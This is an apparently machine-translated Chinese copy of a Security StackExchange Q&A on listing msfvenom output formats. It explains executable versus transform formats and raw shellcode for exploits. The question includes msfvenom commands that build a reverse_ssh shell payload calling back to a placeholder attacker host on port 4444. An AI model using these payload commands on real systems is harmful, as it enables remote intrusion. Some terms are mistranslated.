如何在msfvenom中告诉给定有效负载的可用输出格式?例如:
这不管用:
msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf但这将:
msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f raw > out.sh列表格式只显示msfvenom中的所有格式。
发布于 2020-06-10 19:54:29
最佳答案:这取决于;)您知道可执行格式和转换格式之间的区别吗?(关于差异的问题),您可以使用--list formats选项列出这些格式。在这里,您可以看到它是一种可执行格式还是用于转换。
可执行格式与格式名称(-f asp > file.asp)具有相同的文件类型/结尾。例外情况是带有连字符的: psh-*是一种powershell格式,因此您可以使用*.ps1 (维基百科powershell文件类型)。(也许osx应用程序的格式可以是.bin)。
转换格式更多地用于为所选语言中的外壳代码构建包装器。因此,如果在python (如官方例子所示)中使用通用的windows/shell/bind_tcp,那么文件将包含整个python脚本,其中有一个名为buf的字符串变量,它包含python字符串语法中的外壳代码。下面可以是字符串的执行/调用。十六进制甚至更多的原始格式被用来在以后转换或编码它,或者直接将它注入到漏洞中。如果您可能会发现缓冲区溢出(例如)到执行用户定义的内容,那么您将不需要可执行格式的头(exe、elf、.)但你需要“原始外壳代码”。然后使用原始类型。
注意有效载荷本身:如果您使用cmd/unix...,那么exe格式将无法工作,精灵也不会一直工作。如果它以python/.然后使用原始格式注入现有python 'exec‘区域,因为该漏洞已经是python格式。
尝试使用它没有编码器(-e generic/none),并检查您的输出不同的有效载荷(perl/..,cmd/unix/..,.)和不同的格式在你“使用”它们之前。
https://security.stackexchange.com/questions/233074
复制相似问题